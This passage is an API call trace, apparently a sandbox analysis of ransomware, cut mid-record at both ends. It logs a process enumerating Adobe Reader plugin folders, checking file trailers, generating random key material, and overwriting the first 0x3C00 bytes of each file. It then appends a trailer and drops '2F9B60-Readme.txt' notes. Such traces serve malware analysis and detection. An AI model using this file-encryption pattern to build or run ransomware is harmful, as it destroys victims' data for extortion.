(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843.2f9b60" [0218.916] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843.2f9b60", NtPathName=0x34bdfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43100600 [0222.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43100600) returned 1 [0222.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43078d20) returned 1 [0222.193] NtQueryInformationFile (in: FileHandle=0x256c, IoStatusBlock=0x34bdfb78, FileInformation=0x34bdfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34bdfb78, FileInformation=0x34bdfb88) returned 0x0 [0222.193] NtSetInformationFile (FileHandle=0x256c, IoStatusBlock=0x34bdfb78, FileInformation=0x34bdfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0223.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bf80) returned 1 [0223.229] FlushFileBuffers (hFile=0x256c) returned 1 [0224.001] CloseHandle (hObject=0x256c) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c8fe0 [0224.883] wcscpy (in: _Dest=0x431c8fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0224.883] wcscat (in: _Dest=0x431c8fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\2F9B60-Readme.txt" [0224.883] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\2f9b60-readme.txt")) returned 0xffffffff [0224.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xadc [0225.824] WriteFile (in: hFile=0xadc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34bdfa30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34bdfa30*=0xba9, lpOverlapped=0x0) returned 1 [0226.286] CloseHandle (hObject=0xadc) returned 1 [0229.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c8fe0) returned 1 [0229.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0229.720] FindNextFileW (in: hFindFile=0x1ced5fe0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0229.720] wcscmp (_String1="AcroForm", _String2=".") returned 1 [0229.720] wcscmp (_String1="AcroForm", _String2="..") returned 1 [0229.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a2460 [0229.721] wcscpy (in: _Dest=0x431a2460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0229.721] wcscat (in: _Dest=0x431a2460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0229.721] wcscat (in: _Dest=0x431a2460, _Source="AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0229.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431a1e30 [0229.734] wcscpy (in: _Dest=0x431a1e30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0229.734] wcscat (in: _Dest=0x431a1e30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\" [0229.734] wcscat (in: _Dest=0x431a1e30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*" [0229.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd633e0 [0229.734] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6100 [0229.735] wcscmp (_String1=".", _String2=".") returned 0 [0229.735] FindNextFileW (in: hFindFile=0x1ced6100, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.735] wcscmp (_String1="..", _String2=".") returned 1 [0229.735] wcscmp (_String1="..", _String2="..") returned 0 [0229.735] FindNextFileW (in: hFindFile=0x1ced6100, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0229.736] wcscmp (_String1="adobepdf.xdc", _String2=".") returned 1 [0229.736] wcscmp (_String1="adobepdf.xdc", _String2="..") returned 1 [0229.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac420 [0229.736] wcscpy (in: _Dest=0x202ac420, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0229.736] wcscat (in: _Dest=0x202ac420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\" [0229.736] wcscat (in: _Dest=0x202ac420, _Source="adobepdf.xdc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" [0229.736] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc")) returned 0x20 [0229.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", dwFileAttributes=0x20) returned 1 [0229.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b74 [0229.738] GetFileSizeEx (in: hFile=0x1b74, lpFileSize=0x34bdfad0 | out: lpFileSize=0x34bdfad0*=45935) returned 1 [0229.739] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0xb36b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.739] ReadFile (in: hFile=0x1b74, lpBuffer=0x34bdfa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34bdfa98, lpOverlapped=0x0 | out: lpBuffer=0x34bdfa50*, lpNumberOfBytesRead=0x34bdfa98*=0x4, lpOverlapped=0x0) returned 1 [0230.981] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675f0 [0230.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267890 [0230.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0230.982] NtQuerySystemTime (in: CurrentTime=0x34bdf990 | out: CurrentTime=0x34bdf990*=132462178349746000) returned 0x0 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x601dba51 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x59d7b413 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x7ebaaeaa [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x6dca776a [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x18dff39b [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x33678ab9 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x52a8eca4 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x58734601 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x6f00134 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x5c83d9d6 [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x60ef9b6e [0230.982] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x5ae2a47f [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x658a0237 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x4ef2f89e [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x31fea1b [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x3de8e604 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x375ef832 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x731c6cd2 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x301f5c30 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x47e513a5 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x73e5cb50 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x4cc3aa7 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x5112184 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x2a62b1b1 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x2b5d2f7b [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x5ae2a47f [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x359389fb [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x5ef69d81 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x2ff9bee7 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x67b0b135 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x45360166 [0230.983] RtlRandomEx (in: Seed=0x34bdf980 | out: Seed=0x34bdf980) returned 0x64451464 [0230.984] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.984] ReadFile (in: hFile=0x1b74, lpBuffer=0x4247d540, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34bdf9f0, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesRead=0x34bdf9f0*=0x3c00, lpOverlapped=0x0) returned 1 [0231.399] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058880 [0231.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba560 [0231.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0231.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0231.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a0be10 [0231.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0231.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0231.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5b0) returned 1 [0231.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0231.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0231.402] WriteFile (in: hFile=0x1b74, lpBuffer=0x42a0be10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34bdf9f0, lpOverlapped=0x0 | out: lpBuffer=0x42a0be10*, lpNumberOfBytesWritten=0x34bdf9f0*=0x3c00, lpOverlapped=0x0) returned 1 [0240.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a0be10) returned 1 [0240.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4247d540) returned 1 [0240.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced84c0 [0240.977] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0240.977] WriteFile (hFile=0x1b74, lpBuffer=0x42c14090, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34bdfaa0, lpOverlapped=0x0) Thread: id = 2053 os_tid = 0x1314 [0137.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c3d0 [0137.931] wcscpy (in: _Dest=0x1cf4c3d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0137.931] wcscat (in: _Dest=0x1cf4c3d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0137.931] wcscat (in: _Dest=0x1cf4c3d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*" [0137.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62540 [0137.931] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6040 [0137.939] wcscmp (_String1=".", _String2=".") returned 0 [0137.939] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.939] wcscmp (_String1="..", _String2=".") returned 1 [0137.939] wcscmp (_String1="..", _String2="..") returned 0 [0137.939] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0137.939] wcscmp (_String1="2d.x3d", _String2=".") returned 1 [0137.939] wcscmp (_String1="2d.x3d", _String2="..") returned 1 [0137.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4b920 [0137.939] wcscpy (in: _Dest=0x1cf4b920, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0137.939] wcscat (in: _Dest=0x1cf4b920, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0137.939] wcscat (in: _Dest=0x1cf4b920, _Source="2d.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" [0151.715] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d")) returned 0x20 [0151.745] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d", dwFileAttributes=0x20) returned 1 [0151.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2578 [0151.746] GetFileSizeEx (in: hFile=0x2578, lpFileSize=0x34a2fc20 | out: lpFileSize=0x34a2fc20*=551304) returned 1 [0151.746] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x86984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.747] ReadFile (in: hFile=0x2578, lpBuffer=0x34a2fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34a2fbe8, lpOverlapped=0x0 | out: lpBuffer=0x34a2fba0*, lpNumberOfBytesRead=0x34a2fbe8*=0x4, lpOverlapped=0x0) returned 1 [0151.760] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff30 [0151.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff60 [0151.761] NtQuerySystemTime (in: CurrentTime=0x34a2fae0 | out: CurrentTime=0x34a2fae0*=132462177569746000) returned 0x0 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x1119e65 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x51e396a0 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x244f702c [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x4c3d038c [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x71b04a70 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x7dc5cd32 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x73aab69c [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x53a2b6d4 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x7a75a39f [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x6cc2dca9 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x7185962a [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x59448e97 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x31bf8428 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x5c0ce221 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x47567916 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x2f07ef84 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x460c56e9 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0xfc8c22e [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x9e74892 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x74ff507d [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x68bec3c7 [0151.761] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x279e0391 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x355e1318 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x4601340d [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0xda1f088 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x188a23d6 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x2e48dcb0 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x18357fca [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x59ef691f [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x36e3bf8c [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x3af6677 [0151.762] RtlRandomEx (in: Seed=0x34a2fad0 | out: Seed=0x34a2fad0) returned 0x42fdecea [0151.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff90 [0151.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fffc0 [0151.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff60) returned 1 [0151.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42553da0 [0151.773] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.773] ReadFile (in: hFile=0x2578, lpBuffer=0x42553da0, nNumberOfBytesToRead=0x3c00, 